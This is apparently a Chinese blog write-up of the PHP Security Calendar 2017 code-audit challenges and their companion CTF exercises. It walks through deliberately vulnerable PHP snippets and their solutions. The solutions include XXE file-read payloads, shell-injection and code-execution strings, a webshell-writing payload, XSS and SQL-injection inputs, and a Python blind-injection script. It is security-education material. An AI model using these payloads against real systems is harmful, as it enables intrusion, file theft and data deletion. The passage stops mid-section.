PHP SECURITY CALENDAR 2017

更新图片

Day 1 - Wish List

考点:in_array()未配置第三个参数,导致弱类型绕过
题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Challenge {
const UPLOAD_DIRECTORY = './solutions/';
private $file;
private $whitelist;

public function __construct($file) {
$this->file = $file;
$this->whitelist = range(1, 24);
}

public function __destruct() {
if (in_array($this->file['name'], $this->whitelist)) {
move_uploaded_file(
$this->file['tmp_name'],
self::UPLOAD_DIRECTORY . $this->file['name']
);
}
}
}

$challenge = new Challenge($_FILES['solution']);

大致的逻辑为上传一个表单name=solution的文件,验证其文件名在range(1,24)的范围,使用的in_array()来进行验证。

问题就出在in_array()函数:http://php.net/manual/zh/function.in-array.php
image_1d3g7p4rh1e9gece235i9s1ogn9.png-34.1kB

文档中写道,如果没有使用第三个参数$strick=true,则使用弱类型比较,即前先进行类型转换再比较。
即我们构造一个文件名为1a.php,经过in_array()的类型转换会变成1从而绕过这个限制。

demo:

1
2
3
4
5
6
<?php
$array = range(1,24);
$file_name = "1a.php";
if(in_array($file_name, $array)){
var_dump(in_array($file_name, $array));
}

image_1d3g9a3oi1ci623uipgs7l1oj29.png-70kB

红日安全提供的一道练习题:https://xz.aliyun.com/t/2451
这里用make_set函数绕group,然后报错注入。 没过滤sleep,if,mid盲注也行
image_1d3gubp0f1rlvftc19cn10j66b29.png-69.8kB

Day 2 - Twig

考点:filter_var的url验证绕过
题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
private $twig;

public function __construct() {
$indexTemplate = '<img ' .
'src="https://loremflickr.com/320/240">' .
'<a href="{{link|escape}}">Next slide &raquo;</a>';

// Default twig setup, simulate loading
// index.html file from disk
$loader = new Twig\Loader\ArrayLoader([
'index.html' => $indexTemplate
]);
$this->twig = new Twig\Environment($loader);
}

public function getNexSlideUrl() {
$nextSlide = $_GET['nextSlide'];
return filter_var($nextSlide, FILTER_VALIDATE_URL);
}

public function render() {
echo $this->twig->render(
'index.html',
['link' => $this->getNexSlideUrl()]
);
}
}

(new Template())->render();

两个过滤点,一个是twig模板引擎自带的escape过滤:https://twig.symfony.com/
image_1d3h1nlg3civ5ds1j531j3hfa8m.png-59kB

也就是htmlspecialchars实现的过滤。

1
2
3
4
5
& (& 符号)  ===============  &amp;
" (双引号) =============== &quot;
' (单引号) =============== &apos;
< (小于号) =============== &lt;
> (大于号) =============== &gt;

第二个点:filter_var($nextSlide, FILTER_VALIDATE_URL),检测是否为一个合法的url。
image_1d3id23jr83o1ql5g221q798hp1f.png-78.6kB

这里给出的payload:?url=javascript://comment%250aalert(1)
%25->%,%0a->换行符,二次url编码,第一次为传入时浏览器接码一次,第二次为解析时,浏览器解码换行符。
所以JavaScript伪协议和换行绕过了这个限制。

红日安全提供的一个练习题:https://xz.aliyun.com/t/2491
image_1d3h7r9j1h6l1mr18obj8k1pl99.png-174.5kB
显然这里不是考察orange的parse_url函数和curl处理host的差异,这里要求我们parse_url处理后的host以规定的域名结尾,所以我们可控的就是前面,

这里测试的php版本为5.5:

简单测试了一下filter_var的url合法检测情况(爆破的时候记得将brup的自动url编码关掉)
image_1d3ifph741q6897h1cphv8lpq9.png-145kB

其实这里漏了一个%23,没有#锚点的特殊功能,单纯只是一个字符#
url=http://demo.com%23sec-redclub.com
image_1d3ig21iil9g1msltf31tfig6n13.png-57.2kB

还有换成别的协议还能用分号绕过,这一步在命令执行里面很关键:?url=demo://demo.com;sec-redclub.com
image_1d3ig9skj1v56vm33qcvc79551j.png-66.5kB

再来看看着如何绕过第二步parse_url($url)['host']的正则匹配:
url=demo://demo.com;ls;sec-redclub.com
image_1d3igo5v5fsu1co2122s1s661852v.png-60.3kB

进一步构造:
image_1d3igsmjqlsm1fgg8no2mqjqb3c.png-73.3kB

image_1d3igv7hi1e331m97sfaaia11p24p.png-90.6kB
payload:?url=demo://aa";ls;"sec-redclub.com

读flag:?url=demo://aa";cat${IFS}f1agi3hEre.php;"sec-redclub.com

image_1d3ih2r5hidne3c1mlf9p5b0g56.png-105.4kB

Day 3 - Snow Flake

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function __autoload($className) {
include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
$controller = new $controllerName($data['t'], $data['v']);
$controller->render();
} else {
echo 'There is no page with this name';
}

class HomeController {
private $template;
private $variables;

public function __construct($template, $variables) {
$this->template = $template;
$this->variables = $variables;
}

public function render() {
if ($this->variables['new']) {
echo 'controller rendering new response';
} else {
echo 'controller rendering old response';
}
}
}

初看源码其实并不知道哪有漏洞,可控的点操作的东西小很少,而且也没有输出的地方。

可以看到文档中写到class_exists()的用法:
http://php.net/manual/zh/function.class-exists.php

默认是类不存在时调用__autoload()函数的
image_1d3iir49t1toq1jtibjn1ei5ems60.png-61.6kB

文档中写到,__autoload()在php7.2已经废弃,取而代之的是spl_autoload_register()

还有一些会自动调用__autoload()函数的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
call_user_func()
call_user_func_array()
class_exists()
class_implements()
class_parents()
class_uses()
get_class_methods()
get_class_vars()
get_parent_class()
interface_exists()
is_a()
is_callable()
is_subclass_of()
method_exists()
property_exists()
spl_autoload_call()
trait_exists()

然而的是PHP5~5.3才能用.符号,在php5.4修复了这个问题,所以既不能目录穿越,也不能 包含当前目录下的.php等文件。

第二个漏洞产生的原因就是因为类名和其实例化传入的参数可控,导致我们可以控制php内部存在漏洞的类。

exp demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
# 让php允许外部实体
libxml_disable_entity_loader(false);

$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<user>&xxe;</user>
EOF;

$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
var_dump($xml_class);
// LIBXML_NOENT: 将xml实体引用替换成对应的值
// LIBXML_DTDLOAD: 加载DOCTYPE中的DTD文件

payload:

1
/?c=SimpleXMLElement&d[v]=2&d[t]=<%3fxml+version%3d"1.0"%3f><!DOCTYPE+ANY+[<!ENTITY+xxe+SYSTEM+"php%3a//filter/read%3dconvert.base64-encode/resource%3d/Users/passer6y/Documents/ctf/phpAuditLabs/day3_class_exists/f1agi3hEre.php">]><x>%26xxe%3b</x>

image_1d3l18640p0iet686slngiko4k.png-149.7kB

挺疑惑SimpleXMLElement第二个参数给2的原因..

把结果输出出来了,这里得盲打xxe,这里挖个坑,以后再填。

下面来看一下红日安全提供的审计题:
index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class NotFound{
function __construct()
{
die('404');
}
}
spl_autoload_register(
function ($class){
new NotFound();
}
);

$classname = isset($_GET['name']) ? $_GET['name'] : null;
$param = isset($_GET['param']) ? $_GET['param'] : null;
$param2 = isset($_GET['param2']) ? $_GET['param2'] : null;
if(class_exists($classname)){
$newclass = new $classname($param,$param2);
var_dump($newclass);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';
}

这里使用的是spl_autoload_register()函数,简而言之是__autoload()的升级版,给autoload创建一个队列,逐个执行。
参数如下:
image_1d3jolk9iniis60kn1gdjgtn9.png-20.3kB

解题思路:
先使用内置类:GlobIterator,其构造函数用法:
image_1d3l7e9kgvqg6oi1tpg193v1so09.png-28kB
这样就可以搜索文件位置:

image_1d3l7r40cmru1ks91ejm1oqk1mb39.png-101kB

找flag位置:
name=GlobIterator&param=*.php&param2=0
image_1d3l7vpenrinps6fff4pd172v9.png-105.9kB

这里读取flag要使用php文件流的原因是因为xxe读取的文件中如果存在<>'"&就会导致xml文件解析错误,所以就只能这样通过流的方式base64编码读出。

读flag:

1
name=SimpleXMLElement&param2=2&param=<%3fxml+version%3d"1.0"%3f><!DOCTYPE+ANY+[<!ENTITY+xxe+SYSTEM+"php%3a//filter/read%3dconvert.base64-encode/resource%3d/Users/passer6y/Documents/ctf/phpAuditLabs/day3_class_exists/f1agi3hEre.php">]><x>%26xxe%3b</x>

image_1d3l7lomu1ii11qrglu1qgne5cm.png-112.4kB

Day 4 - False Beard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class Login {
public function __construct($user, $pass) {
$this->loginViaXml($user, $pass);
}

public function loginViaXml($user, $pass) {
if (
(!strpos($user, '<') || !strpos($user, '>')) &&
(!strpos($pass, '<') || !strpos($pass, '>'))
) {
$format = '<?xml version="1.0"?>' .
'<user v="%s"/><pass v="%s"/>';
$xml = sprintf($format, $user, $pass);
$xmlElement = new SimpleXMLElement($xml);
// Perform the actual login.
$this->login($xmlElement);
}
}
}

new Login($_POST['username'], $_POST['password']);

去翻一下strpos的文档,里面也明确说明了这个问题,该函数返回查询字符首次出现的数字位置,如果在第一个字符位置则返回0,如果使用弱类型比较,则可能导致安全漏洞。
image_1d3l9ophp150fghk1kojf6e1bklm.png-32.9kB

image_1d3l9p5tioho195riuc1jb81hs916.png-102.5kB

红日安全提供的练习题,在api.php将用户的每一位数字和开奖的数字进行比较,相同位数越多则得到的奖金越多。

image_1d3ls2gqc143u29l16k7kk9nee9.png-65.1kB

使用的弱类型比较,如果从布尔型的角度想来,除了0,false,null其他都为真,则我们构造一个数组使其都为真即可:
image_1d3ls6qaupgj4hj1nvu1vki1km99.png-103.6kB

Day 5 - postcard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Mailer {
private function sanitize($email) {
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
return '';
}

return escapeshellarg($email);
}

public function send($data) {
if (!isset($data['to'])) {
$data['to'] = 'none@ripstech.com';
} else {
$data['to'] = $this->sanitize($data['to']);
}

if (!isset($data['from'])) {
$data['from'] = 'none@ripstech.com';
} else {
$data['from'] = $this->sanitize($data['from']);
}

if (!isset($data['subject'])) {
$data['subject'] = 'No Subject';
}

if (!isset($data['message'])) {
$data['message'] = '';
}

mail($data['to'], $data['subject'], $data['message'],
'', "-f" . $data['from']);
}
}

$mailer = new Mailer();
$mailer->send($_POST);

Day6 - Forst Pattern

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}

public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}

public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

关键点在preg_replace("/[^a-z.-_]/", "", $token);将非从a-z,.-_替换为空,过滤不严,导致可以使用../../导致任意文件删除。

红日的练习题wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) // [[:graph:]] :匹配所有的可打印字符,等价于[^ \t\n\r\f\v]
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; // 小写 大写 标点 数字
if (6 > preg_match_all($reg, $password, $arr)){
echo "step2:".preg_match_all($reg, $password, $arr);
break;
}

$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3){
echo "step3:".$c;
break;
}


if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>

使用科学计数法绕:
payload:

1
2
password=42.00e%2b00000000000  
password=420.000000e-1

image_1d3mcuh2uvrp1vn8o9f1oii33613.png-78.4kB
加号注意要url编码,不然是空白字符,在burp的params中可以看到不编码的参数:
image_1d3md3ova1ue21ch922k1f8r1r2h1t.png-73.3kB

image_1d3md0at8158n1k8l13o1t8ll5d1g.png-78.6kB

Day 7 - Bell

考察的parse_str没有配置第二个参数导致变量覆盖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function getUser($id) {
global $config, $db;
if (!is_resource($db)) {
$db = new MySQLi(
$config['dbhost'],
$config['dbuser'],
$config['dbpass'],
$config['dbname']
);
}
$sql = "SELECT username FROM users WHERE id = ?";
$stmt = $db->prepare($sql);
$stmt->bind_param('i', $id);
$stmt->bind_result($name);
$stmt->execute();
$stmt->fetch();
return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

漏洞点在parse_str($var['query']);,其变量覆盖导致可以被修改mysql数据库配置,让其连上我们的数据库然后绕过权限验证。

漏洞产生的原因为没有设置第二个参数,即将结果存入result,而是直接将变量解析到当前作用域
image_1d3niv8ke7cu1s2s1fgrktp2hp2a.png-134.5kB

demo:
image_1d3nj88nbsljvhl7m2pgk18rs2q.png-42.2kB

同样产生变量覆盖的问题还有:
$$产生变量覆盖

1
2
3
4
5
6
7
<?php
$a = 1;
$k = $_GET['k'];
$v = $_GET['v'];
$$k = $v;
echo $a;
// 修复办法即注册变量前检测是否变量已存在

image_1d3nmigvl10pk34r1s5ioj03f637.png-47.9kB

以及extract()

1
2
3
4
5
<?php
$a = 1;
extract(array("a"=>"3"));
//修复:extract(array("a"=>"3"),EXTR_SKIP);
echo $a;

image_1d3nmm0q81ead1eh1m687fn19e69.png-37.2kB

红日安全提供的练习题:https://xz.aliyun.com/t/2541

第一关parse_str变量覆盖,弱类型比较绕过
image_1d3nn5vd2m04cnk1ursitq1aorp.png-78.1kB

image_1d3nn80inv081ebo1qgs1ebr1mtf16.png-33kB

第二关条件竞争,利用0.1秒时间差,一个疯狂生成文件,一个调大线程去访问即可。

image_1d3no5lvl1grt19ap160590hjp11j.png-470.1kB

其实测试了一下这里不加usleep函数也能成功拿到flag,只是概率小了一些而已

Day 8 - Candle

考察:preg_replace()e修饰符代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
return preg_replace(
'/(' . $regex . ')/ei',
'strtolower("\\1")',
$value
);
}

foreach ($_GET as $regex => $value) {
echo complexStrtolower($regex, $value) . "\n";
}

preg_replace()e修饰符,第二个参数可造成代码执行
这里由于第二个参数用的双引号,可导致{${phpinfo()}}该特殊的可变变量被执行。

正则的反向引用:https://xz.aliyun.com/t/2557

关于反向引用的理解:
https://blog.csdn.net/lxcnn/article/details/4146148
https://blog.csdn.net/lxcnn/article/details/4476746
image_1d3q2mpsmlkv1iqubhop031m009.png-71.9kB

payload:
http://127.0.0.1/?\S*={${phpinfo()}}

Day 9 - Rabbit

考察str_replace()过滤不严

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class LanguageManager {
public function loadLanguage() {
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
require_once("/lang/$sanitizedLang");
}

private function getBrowserLanguage() {
$lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
return $lang;
}

private function sanitizeLanguage($language) {
return str_replace('../', '', $language);
}
}

(new LanguageManager())->loadLanguage();

payload:..././....//

如果过滤方式为:
str_replace(array('../','./'), '', $dir);
我们可以构造这样的payload:.....///=>../来进行目录遍历

修复方案:
可以使用递归的过滤,或者:str_replace('..', '', $language)

红日安全提供的ctf题目:https://xz.aliyun.com/t/2633
利用变量覆盖绕过addslashes的引号限制从而导致注入:
image_1d3qmqkjf178f1cn1n0n8up1ueap.png-104.6kB

Day 10 - Anticipation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
extract($_POST);

function goAway() {
error_log("Hacking attempt.");
header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
goAway();
}

if (!assert("(int)$pi == 3")) {
echo "This is not pi.";
} else {
echo "This might be pi.";
}

程序未exit(),加上变量覆盖导致代码执行。
payload:pi=phpinfo()

Day 12 - String Lights

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$sanitized = [];

foreach ($_GET as $key => $value) {
$sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
htmlentities($query) . "'>link</a>";

htmlentities函数使用不当,加上intval只对数组的值进行转换,没有对键进行转换,导致xss。

htmlentities:功能即编码一些特殊符号
image_1d3vpoh3krnl1ok560q1dbttm41p.png-96kB

但是第二个参数的默认配置会不编码单引号,这就导致了这里单引号被闭合
image_1d3vqcgad1t6d1br21cf21ce91kdr2m.png-48.9kB

payload:?a'onclick=alert(1)//=c
image_1d3vqg23oj33jgi135v3vpo1453.png-67.8kB

红日安全提供的ctf题:https://github.com/hongriSec/PHP-Audit-Labs/tree/master/Part1/Day12/files

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
require 'db.inc.php';

if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}

if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);


$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';


echo $query;

$result=mysql_query($query,$con);
//var_dump($result);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}

?>

和之前不一样的是,这里同样用了htmlentities进行编码转换,这里配置了ENT_QUOTES,使得单双引号都会被转义,无法闭合sql语句。但是因为没有过滤\,使得我们可以转义单引号:
image_1d3vu2m5e17fc1aj5hq61snktn05g.png-91kB

后来看wp还有一种有意思思路:https://xz.aliyun.com/t/2829#toc-4

仔细看我们会发现过滤的时候使用的是$_REQUEST来获取参数,而获取查库操作的变量以$_GET形式引入,这里有一个看似不起眼的差异。

php.ini中,因为$_REQUEST和gpc有共同之处,而下图中GPCS$_REQUEST加载流程,G:Get,P:Post,C:Cookie,S:Server。
image_1d3vvnkl06g91nu31hb114pta43m.png-100.4kB

可以知道post在get之后,如果我们同时传入get和post相同参数,则$_REQUEST获取到的是post,固然我们就可以利用这个点绕过过滤限制。
image_1d3vvgq6o4n51q37kf2eoc1fdf9.png-98.6kB

Day 13 - Turkey Baster

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class LoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$user = $this->sanitizeInput($this->user);
$pass = $this->sanitizeInput($this->password);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("user = '$user' AND password = '$pass'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input, $length = 20) {
$input = addslashes($input);
if (strlen($input) > $length) {
$input = substr($input, 0, $length);
}
return $input;
}
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
exit;
}

其实这个点和day12有相似之处,这段代码虽然使用了addslashes()函数来转义引号,问题出在他会用substr()截断长度大于20的部分,所以我们可以像day12中一样,利用substr将\''给截断掉,导致转义原本的单引号,然后就可以注入了。当然这类漏洞局限就是一般存在于双条件查询的页面。

红日安全提供的练习题:https://xz.aliyun.com/t/2864

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
if (strpos($string, '&amp;#') !== false) {
$string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// 经过第一个waf处理
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value); // 用相同参数的$_POST去覆盖掉$_GET
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']); // 这里拿到的是$_GET
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1])); // 没过滤键,只过滤了value
}
}
}
// 业务处理
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from phpAuditLabs.users where id=$user_id";

echo $sql;
$result=mysql_query($sql);

while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
}
?>

同样也是$_REQUEST获取参数覆盖问题同day12,相同参数名时$_POST会覆盖掉$_GET,而在其处理$_SERVER['REQUEST_URI']再一次对uri中的参数给$_REQUEST进行注册,并且没有校验sql注入。

image_1d438df6p14hrkav68dpvo1if29.png-93kB

这里还有一种解法就是利用http参数污染漏洞,思路和day14一致。

Day 14 - Snowman

考点:变量覆盖及目录遍历getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;

public function __construct($input) {
$this->id = rand(1, 1000);

foreach ($input as $field => $count) {
$this->$field = $count++;
}
}

public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}

$carrot = new Carrot($_GET);

payload:../11.php&shell=1',)%0a<%3fphp+phpinfo();?>//
image_1d446uhvl1ea7jemrqq1k431jqpm.png-92.2kB
image_1d446ursn18gu3e6etdf4e1qbe13.png-117.8kB

红日安全提供的ctf题: https://pan.baidu.com/s/1pHjOVK0Ib-tjztkgBxe3nQ 密码: 59t2

这个题的漏洞关键在于$_SERVER['REQUEST_URI']$_GET处理空格.[的差异造成。

$_GET变量在处理参数的时候,会将参数名中的空格.[替换成_,而$_SERVER['REQUEST_URI']不会,这就在注册变量的时候产生了一个差异。这种漏洞称为HPP(HTTP Parameter Pollution)
demo:
image_1d44f8l23de11rdtajdiht1pif5g.png-130.7kB

payload:
?message_id=-1 union select 1,flag,3,4 from flag&message.id=1
image_1d44dno9m1j0p1961kjq52411p033.png-272.8kB

嫖的原理图:
image_1d455o1ju1feu1hmv18gd1b5qg416d.png-136.1kB

Day 15 - Sleigh Ride

$_SERVER['PHP_SELF']配合一些特殊的url解析模式(如PATH_INFO)导致的漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Redirect {
private $websiteHost = 'www.example.com';

private function setHeaders($url) {
$url = urldecode($url);
header("Location: $url");
}

public function startRedirect($params) {
$parts = explode('/', $_SERVER['PHP_SELF']);
$baseFile = end($parts);
$url = sprintf(
"%s?%s",
$baseFile,
http_build_query($params)
);
$this->setHeaders($url);
}
}

if ($_GET['redirect']) {
(new Redirect())->startRedirect($_GET['params']);
}

这里如果URL是PATH_INFO的时候,比如http://demo.com/index.php/admin实际上还是访问的index.php这样的入口文件。
比如:http://demo.com/index.php/http://baidu.com$_SERVER['PHP_SELF']获取到的是/index.php/http://baidu.com,而这里会explode处理/,取数组的最后一个作为 $baseFile,由于代码中设置header()前有一次url解码,这就导致了我们可以二次url编码绕过这个/限制,payload:
http://demo.com/index.php/http:%252f%252fbaidu.com?redirect=1&params[a]=1

这样就产生了一个url跳转漏洞。

红日安全提供的ctf题:https://xz.aliyun.com/t/3178

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php 
include "./config.php";
include "./flag.php";
error_reporting(0);

$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit(":P");
if(preg_match($black_list, $_GET['pwd'])) exit(":P");

$query="select user from users where user='$_GET[user]' and pwd='$_GET[pwd]'";
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
$result = $conn->query($query);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
if($row['user']) echo "<h2>Welcome {$row['user']}</h2>";
}

$result = $conn->query("select pwd from users where user='admin'");
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$admin_pass = $row['pwd'];
}

if(($admin_pass)&&($admin_pass === $_GET['pwd'])){
echo $flag;
}
highlight_file(__FILE__);
?>

很明显是sql注入的绕过,仔细分析过滤规则可以发现没有过滤\,因为是双条件查询这样就可以闭合引号了。这里需要注出admin的密码就能拿flag。

payload:?user=\&pwd=||/**/pwd/**/REGEXP/**/"^8";%00
image_1d459mnjach7t521feldgaa466q.png-99.3kB

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import string
import requests
import re
char_set = '0123456789abcdefghijklmnopqrstuvwxyz_'
pw = ''
while 1:
for ch in char_set:
url = 'http://localhost/CTF/?user=\\&pwd=||pwd/**/regexp/**/"^%s";%%00'
r = requests.get(url=url%(pw+ch))
if 'Welcome Admin' in r.text:
pw += ch
print(pw)
break
if ch == '_': break
r = requests.get('http://localhost/CTF/?user=&pwd=%s' % pw)
print(re.findall('HRCTF{\S{1,50}}',r.text)[0])

这种注入方式局限在于只能指定同一表中的其他字段。

Day 16 - Poem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class FTP {
public $sock;

public function __construct($host, $port, $user, $pass) {
$this->sock = fsockopen($host, $port);

$this->login($user, $pass);
$this->cleanInput();
$this->mode($_REQUEST['mode']);
$this->send($_FILES['file']);
}

private function cleanInput() {
$_GET = array_map('intval', $_GET);
$_POST = array_map('intval', $_POST);
$_COOKIE = array_map('intval', $_COOKIE);
}

public function login($username, $password) {
fwrite($this->sock, "USER " . $username . "\n");
fwrite($this->sock, "PASS " . $password . "\n");
}

public function mode($mode) {
if ($mode == 1 || $mode == 2 || $mode == 3) {
fputs($this->sock, "MODE $mode\n");
}
}

public function send($data) {
fputs($this->sock, $data);
}
}

new FTP('localhost', 21, 'user', 'password');

$_REQUEST['mode']获取数据未经过滤+弱类型比较
payload:?mode=1%0a%0dDELETE%20test.file

Day 17 - Mistletoe

md5($this->password, true)绕过addslashes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class RealSecureLoginManager {
private $em;
private $user;
private $password;

public function __construct($user, $password) {
$this->em = DoctrineManager::getEntityManager();
$this->user = $user;
$this->password = $password;
}

public function isValid() {
$pass = md5($this->password, true);
$user = $this->sanitizeInput($this->user);

$queryBuilder = $this->em->createQueryBuilder()
->select("COUNT(p)")
->from("User", "u")
->where("password = '$pass' AND user = '$user'");
$query = $queryBuilder->getQuery();
return boolval($query->getSingleScalarResult());
}

public function sanitizeInput($input) {
return addslashes($input);
}
}

$auth = new RealSecureLoginManager(
$_POST['user'],
$_POST['passwd']
);
if (!$auth->isValid()) {
exit;
}

所有的输入数据都被addslashes过滤了一遍,这里看似没有办法闭合sql语句的引号,其实这里问题出在md5()函数上:http://php.net/manual/zh/function.md5.php
image_1d45k6pqggcka5s1umi10ut18j49.png-62.2kB

如果第二个参数设置为true,则以原始的二进制数据返回。

image_1d45k9u9ld5m1aopq9tmtmi98m.png-65.1kB

那么有没有可能让md5($string, true),最后一位出现\呢。
image_1d45kequ7h9cd7h1vo31ei78o13.png-10.8kB

跑出来md5("128",true);的最后一位为\

1
2
3
4
5
6
7
8
9
<?php

for($i=1; $i<9999; $i++){
$string = md5($i,true);
if(substr($string,-1) == "\\"){
echo $i."\n".$string;
break;
}
}

之后的注入流程就和前面所述一致了。

还有一些比较有意思的点
比如:
md5("ffifdyop",true); // 'or'6�]��!r,��b
md5("129581926211651571912466741651878684928",true); // �T0D��o#��'or'8

可以用来绕过这样的场景:

1
2
